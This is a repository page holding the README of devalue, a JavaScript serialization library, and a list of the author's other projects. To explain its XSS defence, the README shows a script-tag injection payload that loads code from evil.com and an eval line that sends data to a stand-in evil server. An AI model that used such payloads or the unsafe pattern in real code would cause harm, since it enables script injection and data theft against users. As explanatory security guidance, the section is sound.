• Stars
    star
    2,085
  • Rank 22,020 (Top 0.5 %)
  • Language
    JavaScript
  • License
    MIT License
  • Created over 6 years ago
  • Updated 3 months ago

Reviews

There are no reviews yet. Be the first to send feedback to the community and the maintainers!

Repository Details

Gets the job done when JSON.stringify can't

devalue

Like JSON.stringify, but handles

  • cyclical references (obj.self = obj)
  • repeated references ([value, value])
  • undefined, Infinity, NaN, -0
  • regular expressions
  • dates
  • Map and Set
  • BigInt
  • custom types via replacers, reducers and revivers

Try it out here.

Goals:

Non-goals:

  • Human-readable output
  • Stringifying functions

Usage

There are two ways to use devalue:

uneval

This function takes a JavaScript value and returns the JavaScript code to create an equivalent value — sort of like eval in reverse:

import * as devalue from 'devalue';

let obj = { message: 'hello' };
devalue.uneval(obj); // '{message:"hello"}'

obj.self = obj;
devalue.uneval(obj); // '(function(a){a.message="hello";a.self=a;return a}({}))'

Use uneval when you want the most compact possible output and don't want to include any code for parsing the serialized value.

stringify and parse

These two functions are analogous to JSON.stringify and JSON.parse:

import * as devalue from 'devalue';

let obj = { message: 'hello' };

let stringified = devalue.stringify(obj); // '[{"message":1},"hello"]'
devalue.parse(stringified); // { message: 'hello' }

obj.self = obj;

stringified = devalue.stringify(obj); // '[{"message":1,"self":0},"hello"]'
devalue.parse(stringified); // { message: 'hello', self: [Circular] }

Use stringify and parse when evaluating JavaScript isn't an option.

unflatten

In the case where devalued data is one part of a larger JSON string, unflatten allows you to revive just the bit you need:

import * as devalue from 'devalue';

const json = `{
  "type": "data",
  "data": ${devalue.stringify(data)}
}`;

const data = devalue.unflatten(JSON.parse(json).data);

Custom types

You can serialize and serialize custom types by passing a second argument to stringify containing an object of types and their reducers, and a second argument to parse or unflatten containing an object of types and their revivers:

class Vector {
	constructor(x, y) {
		this.x = x;
		this.y = y;
	}

	magnitude() {
		return Math.sqrt(this.x * this.x + this.y * this.y);
	}
}

const stringified = devalue.stringify(new Vector(30, 40), {
	Vector: (value) => value instanceof Vector && [value.x, value.y]
});

console.log(stringified); // [["Vector",1],[2,3],30,40]

const vector = devalue.parse(stringified, {
	Vector: ([x, y]) => new Vector(x, y)
});

console.log(vector.magnitude()); // 50

If a function passed to stringify returns a truthy value, it's treated as a match.

You can also use custom types with uneval by specifying a custom replacer:

devalue.uneval(vector, (value, uneval) => {
	if (value instanceof Vector) {
		return `new Vector(${value.x},${value.y})`;
	}
}); // `new Vector(30,40)`

Note that any variables referenced in the resulting JavaScript (like Vector in the example above) must be in scope when it runs.

Error handling

If uneval or stringify encounters a function or a non-POJO that isn't handled by a custom replacer/reducer, it will throw an error. You can find where in the input data the offending value lives by inspecting error.path:

try {
	const map = new Map();
	map.set('key', function invalid() {});

	uneval({
		object: {
			array: [map]
		}
	});
} catch (e) {
	console.log(e.path); // '.object.array[0].get("key")'
}

XSS mitigation

Say you're server-rendering a page and want to serialize some state, which could include user input. JSON.stringify doesn't protect against XSS attacks:

const state = {
	userinput: `</script><script src='https://evil.com/mwahaha.js'>`
};

const template = `
<script>
  // NEVER DO THIS
  var preloaded = ${JSON.stringify(state)};
</script>`;

Which would result in this:

<script>
	// NEVER DO THIS
	var preloaded = {"userinput":"
</script>
<script src="https://evil.com/mwahaha.js">
	"};
</script>

Using uneval or stringify, we're protected against that attack:

const template = `
<script>
  var preloaded = ${uneval(state)};
</script>`;
<script>
	var preloaded = {
		userinput:
			"\\u003C\\u002Fscript\\u003E\\u003Cscript src='https:\\u002F\\u002Fevil.com\\u002Fmwahaha.js'\\u003E"
	};
</script>

This, along with the fact that uneval and stringify bail on functions and non-POJOs, stops attackers from executing arbitrary code. Strings generated by uneval can be safely deserialized with eval or new Function:

const value = (0, eval)('(' + str + ')');

Other security considerations

While uneval prevents the XSS vulnerability shown above, meaning you can use it to send data from server to client, you should not send user data from client to server using the same method. Since it has to be evaluated, an attacker that successfully submitted data that bypassed uneval would have access to your system.

When using eval, ensure that you call it indirectly so that the evaluated code doesn't have access to the surrounding scope:

{
	const sensitiveData = 'Setec Astronomy';
	eval('sendToEvilServer(sensitiveData)'); // pwned :(
	(0, eval)('sendToEvilServer(sensitiveData)'); // nice try, evildoer!
}

Using new Function(code) is akin to using indirect eval.

See also

License

MIT

More Repositories

1

degit

Straightforward project scaffolding
JavaScript
6,905
star
2

ramjet

Morph DOM elements from one state to another with smooth animations and transitions
JavaScript
5,454
star
3

magic-string

Manipulate strings like a wizard
JavaScript
2,304
star
4

pancake

Experimental charting library for Svelte
JavaScript
1,285
star
5

shimport

Use JavaScript modules in all browsers, including dynamic imports
JavaScript
1,238
star
6

svelte-cubed

Svelte ❤️ Three
Svelte
1,191
star
7

butternut

The fast, future-friendly minifier
JavaScript
1,176
star
8

agadoo

Check whether a package is tree-shakeable
JavaScript
535
star
9

headless-qr

A simple, modern QR code library
JavaScript
411
star
10

estree-walker

Traverse an ESTree-compliant AST
JavaScript
385
star
11

code-red

Experimental toolkit for writing x-to-JavaScript compilers
JavaScript
332
star
12

dts-buddy

WORK IN PROGRESS DO NOT USE
JavaScript
313
star
13

react-svelte

Use Svelte components inside a React app
JavaScript
302
star
14

sorcery

Resolve a chain of sourcemaps back to the original source, like magic
JavaScript
289
star
15

packd

Rollup as a service (with a little help from Browserify)
JavaScript
255
star
16

sveltekit-on-the-edge

SvelteKit, running on the edge
Svelte
217
star
17

simulant

Simulated DOM events for automated testing
JavaScript
202
star
18

svelte-knobby

Svelte
201
star
19

phonograph

🔊 Stream large audio files without the dreaded 'DOMException: play() can only be initiated by a user gesture' error.
TypeScript
199
star
20

svg-parser

JavaScript
196
star
21

svelte-undo

A small utility for managing an undo stack
JavaScript
193
star
22

svelte-gl

Just an idea. For now.
191
star
23

vlq

Generate, and decode, base64 VLQ mappings for sourcemaps and other uses
JavaScript
188
star
24

roadtrip

Client-side routing library. It's about the journey, not just the destination
JavaScript
155
star
25

object-cull

Create a copy of an object with just the bits you actually need
TypeScript
144
star
26

sveltesnaps

Svelte
143
star
27

sander

Promise-based power tool for common filesystem tasks
JavaScript
117
star
28

snowpack-svelte-ssr

JavaScript
116
star
29

svelte-workshop

The website for the Svelte workshop
JavaScript
115
star
30

sveltekit-movies-demo

Movies demo
Svelte
114
star
31

svelte-split-pane

A <SplitPane> component
Svelte
107
star
32

ematchi

Svelte
103
star
33

yootils

Stuff I often need. WIP
JavaScript
103
star
34

Points

Another Pointer Events polyfill
JavaScript
96
star
35

svelte-template-electron

A template for building Electron apps with Svelte
TypeScript
91
star
36

boxxy

Layout manager for web apps.
JavaScript
87
star
37

periscopic

Utility for analyzing scopes belonging to an ESTree-compliant AST
JavaScript
85
star
38

svelte-gl-boxes

a quick Svelte GL demo
HTML
76
star
39

lit-node

Self-documenting Node scripts through literate programming
JavaScript
76
star
40

svelteflix

Svelte
75
star
41

stacking-order

Determine which of two elements is in front of the other
JavaScript
71
star
42

sourcemap-codec

Encode/decode sourcemap mappings
JavaScript
69
star
43

the-answer

The answer to the question of life, the universe and everything
JavaScript
67
star
44

bundler-comparison

A quick test to see how various bundlers compare when bundling the Lodash source code.
JavaScript
66
star
45

svelte-gl-demo

A very basic Svelte GL scene
JavaScript
62
star
46

tape-modern

Minimum viable testing framework
TypeScript
62
star
47

sevenup

Tool for making and loading sprites
JavaScript
61
star
48

zimmerframe

A tool for walking
JavaScript
60
star
49

golden-fleece

Parse and manipulate JSON5 strings
TypeScript
59
star
50

port-authority

Utilities for dealing with ports in Node apps
JavaScript
55
star
51

rollup-svelte-code-splitting

demo repo
JavaScript
50
star
52

svelte-d3-arc-demo

Using Svelte and D3 together to create lightweight interactive visualisations with SSR
JavaScript
49
star
53

begin-svelte-app

Begin app
JavaScript
45
star
54

Statesman

The JavaScript state management library
JavaScript
44
star
55

esrap

Parse in reverse
JavaScript
44
star
56

node-console-group

console.group() for node.js
JavaScript
41
star
57

sveltekit-pdf-demo

Using SvelteKit to generate PDFs dynamically
TypeScript
40
star
58

svelte-three-demo

bare bones demo of svelte-three
JavaScript
38
star
59

locate-character

JavaScript
37
star
60

birdland

The weather report
HTML
35
star
61

svelte-ssr-bundle

Demo of using Svelte and Rollup to create a SSR bundle
JavaScript
35
star
62

generated-types

An example of generated types
TypeScript
32
star
63

svelte-preprocessor-demo

JavaScript
31
star
64

spelunk

Traverse a folder in node, turning its contents into an object for easy consumption
JavaScript
30
star
65

cameoparison-starter

Workshop repo for https://cameoparison.netlify.app
JavaScript
25
star
66

typescript-lib

Project template for a TypeScript library
JavaScript
24
star
67

is-reference

Determine whether an AST node is a reference
JavaScript
22
star
68

ractive-dbmonster

An adaptation of Ember's 'dbmonster' demo of Glimmer
JavaScript
22
star
69

deepClone

Utility for cloning objects and arrays so you can manipulate them without borking your original data
JavaScript
18
star
70

magic-viewbox

Library for making draggable, zoomable, interactive SVG viewboxes
TypeScript
17
star
71

sapper-ws-chat

playing around with websockets
JavaScript
17
star
72

Neo

A matrix manipulation library that tries to explain what the hell's going on
JavaScript
16
star
73

svelte-google-maps

demo of using Svelte with Google Maps
HTML
15
star
74

terser-playground

A playground for seeing how Terser minifies JavaScript
HTML
15
star
75

oscars-data

Svelte
15
star
76

smooth-keyframes

Smoothly interpolate keyframes
TypeScript
14
star
77

transition-this

Svelte
14
star
78

sql

Opinionated wrapper around mysql2
JavaScript
14
star
79

tippex

Find and erase strings and comments in JavaScript code
JavaScript
13
star
80

namey-mcnameface

Generate short but memorable random names for stuff
JavaScript
13
star
81

viewbox

Pan and zoom the contents of SVG elements, and translate between coordinate systems
JavaScript
11
star
82

geotile

Split GeoJSON data up into vector tiles
JavaScript
10
star
83

Ractive-TodoMVC

Example TodoMVC implementation using Ractive.js
CSS
10
star
84

ffmpeg-wasm-demo

JavaScript
10
star
85

pathologist

JavaScript
9
star
86

modulepreload-demo

JavaScript
9
star
87

gurgle

A stream library
JavaScript
9
star
88

birdland-starter

Starter repo for birdland
JavaScript
9
star
89

fowl-play

A demo of SvelteKit's `read` function
JavaScript
9
star
90

svelte-gl-stress-test

JavaScript
8
star
91

superjson-and-devalue

quick script to compare superjson and devalue
JavaScript
7
star
92

sensor

sensor.js - DOM events that don't suck
JavaScript
7
star
93

auto-import-repro

JavaScript
7
star
94

vite-env-reload

HTML
6
star
95

vite-safe-modules-repro

JavaScript
6
star
96

d3-modules

JavaScript
6
star
97

vite-dynamic-import-repro

Repro for https://github.com/sveltejs/kit/issues/8516
JavaScript
6
star
98

svelte-accessors-demo

Using accessors to get and set Svelte component data
JavaScript
6
star
99

simple-css-parser

Parse CSS into JSON
CSS
6
star
100

stackblur

Fork of StackBlur (http://www.quasimondo.com/StackBlurForCanvas/StackBlurDemo.html), used in canvg
JavaScript
6
star